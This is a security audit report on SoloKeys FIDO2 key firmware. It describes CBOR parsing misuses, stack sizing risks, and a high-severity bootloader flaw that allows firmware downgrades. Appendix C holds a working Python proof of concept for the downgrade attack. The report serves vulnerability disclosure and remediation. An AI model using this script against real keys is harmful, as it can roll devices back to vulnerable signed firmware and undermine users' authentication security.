

Security Auditing Report

SoloKeys Firmware

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Executive Summary

Overview

SoloKeys engaged Doyensec to perform a security assessment of the SoloKeys software components. The project commenced on January 20, 2020, and ended on January 31, 2020, requiring one security researcher. The project resulted in three (3) findings of which one (1) was rated as high severity.

The project consisted of a manual security assessment and fuzzing of the firmware running on the device.

Testing was conducted remotely from Doyensec EMEA offices.

Scope

Through meetings with SoloKeys the scope of the project was clearly defined. We list the agreed upon scope below:

- U2F/FIDO2 software layer
- Bootloader

The testing was performed against the latest version of the software at the time of testing. In detail, this activity was performed on the following releases:

• Solo Firmware v3.0.1 (17b430fd4482)

This firmware is used across all SoloKeys products (Solo, Somu) at the time of testing.

Scoping Restrictions

The engagement primarily focused on the attack surface exposed to:

- remote attackers (browsers)
- local attackers (compromised browser/OS)
- · physical attackers with limited capabilities

Hardware vulnerabilities and physical attacks such as voltage glitching and timing/power side channels were out-of-scope for this engagement.

The following components were included in the assessment on a best effort basis and were not extensively reviewed:

- NFC protocol support
- External cryptographic libraries
- External parsing libraries
- STM32 platform libraries

Findings Summary

Doyensec discovered and reported three (3) vulnerabilities in SoloKeys firmware. While two of the issues are considered informational, one issue has been rated as high severity. An additional section (**Appendix D**) reports the results of our fuzzing effort.

It is important to reiterate that this report represents a snapshot of the security posture at the time of testing.

At the design level, Doyensec has found the system to be well architected and adequate for the threat model for which it was designed.

Recommendations

The following recommendations are proposed based on studying Solo security posture and vulnerabilities discovered during this engagement.

Short-term improvements

- Work on mitigating the discovered vulnerabilities. You can use Appendix B -Remediation Checklist to make sure that you have covered all areas
- Integrate fuzzing testing into the software development lifecycle. The AFL-compatible fuzzing harness developed for this



engagement can be used as a starting point for subsequent security automation enhancements. Further root cause analysis work is also required for all crashes discovered during this short engagement

Long-term improvements

- Perform a more comprehensive security review of the components not audited during this engagement. This would include auditing the external cryptographic and parsing libraries
- Evaluate currently unused security features available on the STM32L432 processor, such as the MPU
- Use formal techniques such as state machines to model, document and review the implementation of complex protocols and interactions
- Expand the threat model to include advanced physical attackers and implement appropriate countermeasures. Research concerning the security properties of STM32-based platforms against glitching, side channels and other techniques is available, hence SoloKeys maintainers would need to investigate the results and potentially develop mitigations for such attacks

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Methodology

Overview

Doyensec treats each engagement as a fluid entity. We use a standard base of tools and techniques from which we built our own unique methodology. Our 30 years of information security experience has taught us that mixing offensive and defensive philosophies is the key for standing against threats, thus we recommend a *graybox* approach combining dynamic fault injection with an in-depth study of source code to maximize the ROI on bug hunting.

This assessment consisted primarily of manual code review, aided by automated analysis and fuzzing.

Hardware Setup

Four SoloKeys were used for this engagement:

- 3 secure Solo
 - 2 with application v3.0.1, bootloader 0.0.1
 - 1 with application v3.0.1, bootloader 3.0.1
- 1 hacker Solo
 - unlocked device allowing to run arbitrary unsigned firmware

Fuzzing Setup

When performing assessments, we combine manual security testing with state-of-the-art tools in order to improve efficiency and efficacy of our effort.

During this engagement, we used the industrystandard <u>American Fuzzy Lop</u> (AFL) fuzzer to perform coverage guided automated testing of parts of the code where this testing technique is commonly used to expose bugs.

Auditing Approach

Doyensec strives to follow a methodic approach to source code review. We analyze all control flow paths and the interactions between them, while understanding and subverting the assumptions on which the code is built upon. We study how data is parsed, processed, stored, and relayed between producers and consumers.

The WebAuthn and CTAP2 specifications were carefully studied and used as a reference while reviewing the Solo implementation, as well as the STM32L432 processor data-sheet, programming, and reference manuals.

Manual code auditing was performed starting from the bootloader at the root of the trust chain and ending at the higher level FID02 implementation. The configuration of the security features provided by the STM32L432 was also evaluated, finding no flaws. The boot process was found to be secure against the threat model agreed upon.

Attempts to expand the remotely available attack surface via WebUSB and WebHID APIs were unsuccessful.



Project Findings

The table below lists the findings with their associated ID and severity. The severity ranking and vulnerability classes are defined in Appendix A at the end of this document. The vulnerability class column groups the entry into a common category, while the status column refers to whether the finding has been fixed at the time of writing.

Findings Recap Table

ID	Title	Vulnerability Class	Severity	Status
1	TinyCBOR API Misuses Leading to Denial of Service and Undefined Behaviour	Denial of Service	Low	Open
2	Insufficient Minimum Stack Size	Memory Corruption	Informational	Open
3	Incorrect Firmware Version Check Allows Downgrading	Insecure Design	High	Open



Findings per Severity

The table below provides a summary of the findings per severity.



Findings per Type

The table below provides a summary of the findings per vulnerability class.





1. TinyCBOR API Misuses Leading to Denial of Service and Undefined Behaviour	
Severity	Low
Vulnerability Class	Denial of Service
Component	fido2/ctap_parse.c
Status	Open

Description

The CTAP2 protocol encodes its payloads in CBOR format, which Solo firmware parses using the TinyCBOR library from Intel. Doyensec discovered multiple issues in the usage of this library by manual code review and by fuzzing the fido2 library using AFL.

1A - Missing call to cbor_value_leave_container after calling cbor_value_enter_container

TinyCBOR documentation states that "each call to cbor_value_enter_container() must be matched by a call to cbor_value_leave_container(), with the exact same parameters", however the cbor_value_leave_container function is never called in the SoloKeys firmware codebase. Even though the issue does not seem to cause an exploitable vulnerability, misuse of parser APIs is undefined behavior and could become exploitable under certain circumstances.

1B - Missing type checks when processing CP_getKeyAgreement and CP_getRetries

While performing fuzzing using AFL, we obtained a large number of crashes having a single root cause. Multiple inputs caused assertions to be raised in TinyCBOR cbor_value_get_boolean, which was traced back to two unsafe usages made in the ctap_parse_client_pin function:

```
case CP_getKeyAgreement:
    printf1(TAG_CP, "CP_getKeyAgreement\n");
    ret = cbor_value_get_boolean(&map, &CP->getKeyAgreement);
    check_ret(ret);
    break;
case CP_getRetries:
    printf1(TAG_CP, "CP_getRetries\n");
    ret = cbor_value_get_boolean(&map, &CP->getRetries);
    check_ret(ret);
    break;
```

An assertion inside cbor_value_get_boolean requires its first argument to be a CborBooleanType:

```
CBOR_INLINE_API CborError cbor_value_get_boolean(const CborValue *value, bool *result)
{
    assert(cbor_value_is_boolean(value));
    *result = !!value->extra;
    return CborNoError;
}
```



The assertion failure causes the processor to enter an infinite loop, requiring a power cycle for the device to be used again.

1C - Missing error check after calling cbor_value_advance

Two consecutive calls to cbor_value_advance are made in ctap_parse_extensions while handling an error condition.

```
ret = cbor_value_copy_text_string(&map, key, &sz, NULL);
if (ret == CborErrorOutOfMemory)
{
    printf2(TAG_ERR, "Error, rp map key is too large. Ignoring.\n");
    cbor_value_advance(&map);
    cbor_value_advance(&map);
    continue;
}
```

The return code from the call should be checked for errors and not ignored.

Please note that other TinyCBOR API misuses may exist. Due to the project time constraints, we were not able to analyze all ~4000 crashes obtained during the fuzzing effort. Partial results of this exercise are summarized in *Appendix D - AFL Fuzzing Results*.

Reproduction Steps

- · Issue 1A and 1C: N/A identified by static code review
- **Issue 1B:** A sample of crashing inputs generated by AFL is attached to the report as well as source code for the fuzzing target and Makefile. To reproduce the crash, run the fuzzing target binary with one of the AFL test cases as input.

Impact

- Issue 1A: Low the API misuse does not appear to cause an exploitable behavior.
- Issue 1B and 1C: Low an attacker might be able to cause a Denial of Service, requiring a reboot of the device to resume normal operation. Considering the standard use cases for SoloKeys devices, this issue does not seem to introduce a concrete security risk.



Complexity

- Issue 1A: N/A
- **Issue 1B and 1C:** High crafting an input that would cause the SoloKeys device to reach, respectively, the assertions and error conditions is easy. However, an attacker cannot send such input from the context of a browser.

Remediation

Standard security coding best practices should be adopted for the affected codebase:

- 1A Call cbor_value_leave_container after each cbor_value_enter_container
- **1B** Add type checks ensuring inputs to cbor_value_get_boolean are of type CborBooleanType
- 1C Check the return code from cbor_value_advance for errors

Resources

TinyCBOR documentation: <u>https://intel.github.io/tinycbor/current/a00047.html</u>

2. Insufficient Minimum Stack Size	
Severity	Informational
Vulnerability Class	Memory Corruption
Component	targets/stm321432/linker/ {bootloader_stm3214xx.ld,stm3214xx.ld}
Status	Open

Description

The vast majority of application processors require a part of the working memory to be used as a function call stack. When a function is called, its parameters and the address where execution needs to resume when the function is finished are put on top of the stack. Local function variables are also stored on the stack. This allows for maintaining the execution state when performing nested function calls. Deeper execution paths and functions with many or big parameters require more space on the stack.

Stack space is commonly consumed from higher addresses to lower ones. Enough space must be reserved to ensure no execution path can cause the stack to grow over and overwrite preceding memory regions.

The linker scripts for the Solo application and bootloader guarantee that a minimum of 0×400 (1024) bytes are available on the stack. This amount is not sufficient for two distinct reasons detailed in the next section. An attacker might be able to craft inputs that would grow the stack enough to reach and overwrite part of neighboring memory areas, used to store critical application data such as cryptographic material, input/output buffers, and various pointers.

The actual stack space available to the current firmware is larger than the minimum 0×400 and therefore the issue is not trivially exploitable.

Reproduction Steps

Large stack allocated local variables

Some functions in the fido2 library allocate local variables larger than 1024 bytes, namely ctap_overwrite_rk, apdu_process, ctaphid_handle_packet, u2f_register, ctap_add_attest_statement, ctap_make_credential. A number of other functions allocate relatively large variables which could lead to exhaust stack space if an execution path leading to nested calls of those functions were to be triggered.

The following list was obtained by analyzing the firmware compiled using the official Docker environment. The -fstack-usage option was added to the CFLAGS variables in the firmware makefiles, bootloader.mk, and application.mk in targets/stm32l432/build/. When this option is supplied, GCC generates a file with .su extension for each source file, which contains the stack space requirements for each function. Only functions that allocate more than 200 bytes are shown.



Filename	Function name	Stack requirement (bytes)
sha256.c	sha256_transform	328
uECC.c	uECC_vli_modInv.part.2	248
uECC.c	uECC_vli_mmod	208
uECC.c	EccPoint_mult	304
uECC.c	uECC_sign_with_k	280
uECC.c	uECC_make_key	224
uECC.c	uECC_shared_secret	200
uECC.c	uECC_compute_public_key	224
uECC.c	uECC_verify	624
sha512.c	sha512_update_block	240
sha512.c	cf_sha512_digest	208
device.c	ctap_overwrite_rk	2072
nfc.c	apdu_process	4128
rng.c	rng_test	2072
ctaphid.c	ctaphid_handle_packet	4160
data_migration.c	do_migration_if_required	424
wallet.c	bridge_to_wallet	560
u2f.c	u2f_register	1264
ctap.c	ctap_make_extensions	224
ctap.c	ctap_add_attest_statement.part.4	1080
ctap.c	ctap_make_auth_data.isra.7	840
ctap.c	ctap_make_credential	1224
ctap.c	ctap_filter_invalid_credentials	432
ctap.c	ctap_get_assertion	744
ctap.c	ctap_client_pin	448
ctap_parse.c	parse_verify_exclude_list.part.21	392

Default TinyCBOR maximum recursion depth

Some TinyCBOR API calls such as cbor_value_advance are implemented using recursive code. The maximum recursion depth can be limited by defining the CBOR_PARSER_MAX_RECURSIONS constant. This constant is not redefined and assumes its default value of 1024. Since each function call occupies multiple bytes, the TinyCBOR parser might be abused to exhaust stack space.



Impact

Potentially high; the .bss section is placed before the stack, and it contains critical data including the tinyAES context, the STATE global variable, offsets and sizes such as output_buffer_offset and output_buffer_size, and USB stack data structures. Overwriting this data might lead to the disclosure of sensitive information and code execution.

However, the current version of the firmware is not trivially exploitable. The stack pointer is initialized by the Reset_Handler code in startup_stm321432xx.s. The _estack value, defined in the linker scripts as 0x2000c000, is moved into the sp register by the first instruction. The firmware compiled by the official Docker image creates a .bss section which ends at address 0x20007110, leaving 20208 bytes available for the stack.

Because of time constraints, Doyensec did not attempt to create a working proof of concept to demonstrate the exploitability of this issue.

Complexity

Medium; exploiting this issue requires knowledge of the exact firmware version running on the target device, and a method allowing to grow the stack enough to overwrite data in the .bss section while retaining enough control over what values are written to gain useful exploiting primitives.

Remediation

Increase the minimum guaranteed stack size by increasing the _MIN_STACK_SIZE value in the linker scripts.

Limit TinyCBOR maximum recursion depth. Define the CBOR_PARSER_MAX_RECURSIONS constant to the smallest possible value.

Resources

- TinyCBOR cbor_value_advance documentation
 <u>https://intel.github.io/tinycbor/current/a00047.html#gae2ede5aacd59f04437c24ef8ca2f449a</u>
- StackOverflow How to determine maximum stack usage in embedded system with gcc?
 <u>https://stackoverflow.com/questions/6387614/</u>

3. Incorrect Firmware Version Check Allows Downgrading	
Severity	High
Vulnerability Class	Insecure Design
Component	targets/stm321432/bootloader/ bootloader.c
Status	Open

Description

SoloKeys are designed to provide end-users with a convenient and safe way to perform firmware upgrades. The update procedure is handled by the bootloader, which verifies the cryptographic signature and version of the new firmware to prevent an attacker from flashing arbitrary code or older firmware versions which might contain vulnerabilities. The user must use an updater application that sends special commands to the Solo key via the USB HID protocol or special FIDO2 requests.

First, the firmware is written in chunks on the device using one or more BootWrite commands. The payload of the command contains the data to be written and the offset where the write operation should be performed on the flash. When this command is issued for the first time, all the pages of the flash memory dedicated to the FIDO2 application are erased. This also resets a flag that indicates whether the firmware has been verified and authorized to boot.

Then, a BootDone command is issued, providing as payload the cryptographic signature of the new firmware. The signature is checked against the public key embedded in the device bootloader. If the signature is correct, the new firmware version is compared against the currently authorized one, stored in a dedicated page in flash memory. If the new firmware version is greater or equal, the new firmware version and a flag that marks the application as authorized are written on the flash.

Two issues were discovered in the implementation of the anti-downgrade version check, allowing an attacker to **downgrade the firmware** to a previous version.

Reproduction Steps

3A - Anti-Downgrade Version Check Bypass

This is the relevant code handling the BootWrite command:



```
erase_application();
has_erased = 1;
}
[...]
// Do the actual write
flash_write((uint32_t)ptr,req->payload, len);
last_written_app_address = (uint8_t *)ptr + len - 8 + 4;
```

After the payload has been written on the flash memory, <code>last_written_app_address</code> is set to the address of the last 4 bytes written. This variable is used by <code>is_firmware_version_newer_or_equal</code>, called by the code handling the <code>BootDone</code> command to verify that the new firmware version is greater than the currently authorized one.

An attacker can invoke the BootWrite command multiple times with any data and offset. This allows her to decide which bytes of the firmware will be interpreted by the bootloader as the version number. By choosing 4 suitable bytes in <u>any officially signed firmware</u>, she can downgrade the software running on the device to an older version with potential security consequences.

The attack is performed in the following way:

- An attacker chooses an older officially signed firmware, and finds a sequence of bytes which when interpreted as a version are greater than the current software version on the target device.
 - In practice, this can be any sequence of bytes beginning with a value 0×04 of greater, since the first byte is interpreted as the major version and the latest software version is 3.0.1.
- She flashes the whole firmware using BootWrite commands, but without sending the BootDone command
- She writes again the 4 bytes she wants to be interpreted as the firmware version at their original offset, causing last_written_app_address to point to those
- She sends a BootDone command, with the original firmware signature
 - the original unmodified firmware is being written, therefore the signature is valid
 - the version will be read from last_written_app_address, bypassing the anti-downgrade check

Full implementation of this attack is provided in **Appendix C**. This proof of concept was used to successfully downgrade a Solo Key running bootloader and application version 3.0.1 to application version 3.0.0, by choosing a sequence of bytes which is interpreted as version 3.0.37.

3B - Uninitialized Pointer usage

A BootDone command can be processed before any BootWrite command has been executed, resulting in an uninitialized usage of the last_written_app_address pointer used by the is_firmware_version_newer_or_equal function called by the BootDone handler.

Impact

High; an attacker could be able to perform a firmware downgrade on a Solo key, provided the bootloader has not been disabled by the user. The **downgrade attack can be performed from the context of a webpage**, as it uses the same interface used by the official web updater via the FIDO2 bridge.



Complexity

The downgrade attack demonstrated during this engagement requires access to the target device in bootloader mode, which is trivial given physical possession of the key but unlikely for remote web-based attacks.

Additionally, this attack is just the first step into a full chain as an attacker would need to leverage a vulnerability existing on any officially signed firmware.

Remediation

Ensure the application version is read from the correct offset. One possible remediation could be requiring the version to be always at the same offset, such as the last available address for the user application. Alternatively, allowing BootWrite commands to perform writes in ascending order only would also mitigate the issue.

Ensure last_written_app_address is initialized before usage for example by allowing BootDone commands only if at least one BootWrite command was successfully executed.



Appendix A - Vulnerability Classification

	Critical	
Vulnerability Severity	High	
	Medium	
	Low	
	Informational	
	Authentication and Session Management – Incorrect	
	Authentication and Session Management – Missing	
	Authorization – Incorrect	
	Authorization – Missing	
	Components with known vulnerabilities	
	Covert Channel (Timing Attacks, etc.)	
	Cross Site Request Forgery (CSRF)	
	Cross Site Scripting (XSS)	
	Server-Side Request Forgery (SSRF)	
	Unrestricted File Uploads	
Vulnerability Type	Unvalidated Redirects and Forwards	
	Cryptography – Incorrect	
	Cryptography – Missing	
	Denial of Service (DoS)	
	Information Exposure	
	Injection Flaws (SQL, XML, Command, Path, etc)	
	Insecure Design	
	Insecure Direct Object References	
	Memory Corruption (Buffer and Integer Overflows, Format String, etc)	
	Race Conditions	
	Security Misconfiguration	
	User Privacy	

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Appendix B - Remediation Checklist

The table below can be used to keep track of your remediation efforts inside this report. Mark the boxes when a fix has been implemented for the vulnerability.

#1A - Call cbor_value_leave_container after each cbor_value_enter_container
#1B - Add type checks ensuring inputs to cbor_value_get_boolean are CborBooleanType
#1C - Check the return code from cbor_value_advance for errors
#2 - Increase minimum guaranteed stack size
#2 - Limit TinyCBOR maximum recursion depth
#3 - Ensure the application version is read from the correct offset
#3 - Ensure last_written_app_address is initialized before usage
Appendix D - Analyze root cause and fix crashes reported by AFL

When done patching the listed vulnerabilities, many clients find it worthwhile to perform a retest. During a retest Doyensec researchers will attempt to bypass and subvert all implemented fixes. Retests usually take one or two days. Please reach out if you'd like more information on our retesting process.



Appendix C - Firmware Downgrade Proof of Concept

```
from intelhex import IntelHex
import json
import base64
from solo import helpers
import solo.client
import io
from tqdm import tqdm
FW_FILE = "../firmware-3.0.0.json"
with open(FW_FILE) as f:
   data = json.load(f)
fw = base64.b64decode(helpers.from_websafe(data["firmware"]).encode()).decode("utf-8")
ih = IntelHex(io.StringIO(fw))
sig = base64.b64decode(helpers.from_websafe(data["versions"][">2.5.3"]["signature"]).encode())
client = solo.client.find()
client.use_hid()
if not client.is_solo_bootloader():
   print("[!] Please put the SoloKey in bootloader mode")
   exit(1)
# desired_version = b"\x03\x00\x00\x00"
                                           # make the bootloader believe we're flashing 3.0.0.0
# desired_version = b"\x03\x00\x00\x02" # make the bootloader believe we're flashing 3.0.0.2
desired_version = b"\x03\x00\x25\x00" # make the bootloader believe we're flashing 3.0.37.0
version_offset = ih.tobinstr().find(desired_version)
correct_version_offset = ih.tobinstr().rfind(b"\x03\x00\x00\x00")
if version_offset == -1:
   print("Cannot find version bytes!")
   exit(1)
print("[+] Using version bytes at offset 0x{:x} instead of 0x{:x}".format(version_offset,
correct_version_offset))
print("[+] Flashing firmware...")
chunk_size = 2048
start_address, end_address = ih.segments()[0]
version_bytes_address = start_address + version_offset
for chunk_start in tqdm(range(start_address, end_address, chunk_size)):
   chunk_end = min(chunk_start + chunk_size, end_address)
    data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
   client.write_flash(chunk_start, data)
print("\n[+] Rewriting version bytes...")
for chunk_start in tqdm(range(version_bytes_address, version_bytes_address + 4, chunk_size)):
   chunk_end = min(chunk_start + chunk_size, version_bytes_address + 4)
   data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)
   client.write_flash(chunk_start, data)
```

```
client.verify_flash(sig)
```

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Appendix D - AFL Fuzzing Results

Fuzzing is an automated testing technique commonly used to search for bugs in complex software. During this engagement, we leveraged the industry-standard <u>American Fuzzy Lop</u> (AFL) coverage-guided fuzzer.

AFL is supplied with a starting corpus of inputs. The target application is executed over and over on random mutations of the corpus, measuring the coverage (which parts of the code were executed in what order) in response to the mutated inputs. A genetic algorithm is used to breed inputs that increase the total coverage, maximizing the amount of code explored by the fuzzer.

The fuzzing effort against the target under investigation produced multiple crashing inputs (~4000 nonunique crashes). The root cause for one class of crashes was analyzed and detailed in Finding #1, allowing an attacker to block the device in an infinite loop by triggering an assertion in TinyCBOR. However, due to time constraints, we were not able to investigate all other crashes. From a cursory analysis, we believe that some of them could lead to Denial of Service and other potentially worse outcomes.

This appendix provides more details around our setup and results:

AFL Setup

The ctaphid_handle_packet function was chosen as an entry point, and a fuzzing harness feeding the data generated by AFL to the function was developed. The fuzzing harness was compiled using aflclang-fast with full instrumentation. AddressSanitizer could not be used due to link-time errors.

The starting input corpus was obtained by running the FIDO2 test-suite <u>https://github.com/solokeys/fido2-tests</u> against the PC version of the FIDO2 application. The application main was modified to log each received packet. All the possible tuples of the captured packets were generated and used as initial corpus.

Our instrumentation code was shared privately with SoloKeys maintainers.

Results

Six parallel instances of the fuzzer were run for approximately 24 hours on a 2.8GHz Intel Core i7 laptop, totalling over 100M executions. Over 4000 non-unique crashing inputs were produced by the fuzzer.

A cursory analysis of the crashing samples suggests that all crashes originate from incorrect usages or bugs within the TinyCBOR library. Depending on the root cause, bugs may range from Denial of Service (caused by assertions) to potential data leakage and code execution due to memory corruption.

As agreed with SoloKeys maintainers, we dedicated a minor portion of the engagement to perform root cause analysis since we did not want to sacrifice coverage on other critical areas of the SoloKeys software stack. Further work would be necessary to analyze all root causes and fix crashes reported by AFL. The afl-cmin and afl-tmin scripts are capable of minimizing the number and size of the crashing inputs corpus, hence facilitating the overall effort.